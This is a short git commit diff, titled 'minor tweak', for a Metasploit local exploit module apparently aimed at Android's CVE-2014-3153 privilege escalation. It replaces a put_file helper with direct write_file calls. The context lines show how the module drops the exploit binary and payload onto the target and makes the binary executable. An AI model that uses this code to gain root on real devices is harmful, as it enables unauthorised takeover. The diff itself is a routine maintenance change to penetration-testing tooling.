minor tweak

bug/bundler_fix
Tim 2015-01-03 10:15:52 +00:00
parent 5c50a07c0f
commit c959d42a29
1 changed files with 2 additions and 8 deletions

View File

@ -53,13 +53,7 @@ class Metasploit4 < Msf::Exploit::Local
def put_local_file(remotefile) def put_local_file(remotefile)
localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" ) localfile = File.join( Msf::Config.data_directory, "exploits", "CVE-2014-3153.elf" )
data = File.read(localfile, {:mode => 'rb'}) data = File.read(localfile, {:mode => 'rb'})
put_file(data, remotefile) write_file(remotefile, data)
end
def put_file(data, remotefile)
unless write_file(remotefile, data)
print_status("could not write: " + remotefile)
end
end end
def exploit def exploit
@ -69,7 +63,7 @@ class Metasploit4 < Msf::Exploit::Local
put_local_file(exploitfile) put_local_file(exploitfile)
cmd_exec('/system/bin/chmod 700 ' + exploitfile) cmd_exec('/system/bin/chmod 700 ' + exploitfile)
put_file(payload.raw, payloadfile) write_file(payloadfile, payload.raw)
tmpdir = datastore['WritableDir'] tmpdir = datastore['WritableDir']
rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}" rootclassdir = "#{tmpdir}#{Rex::Text::rand_text_alpha_lower(5)}"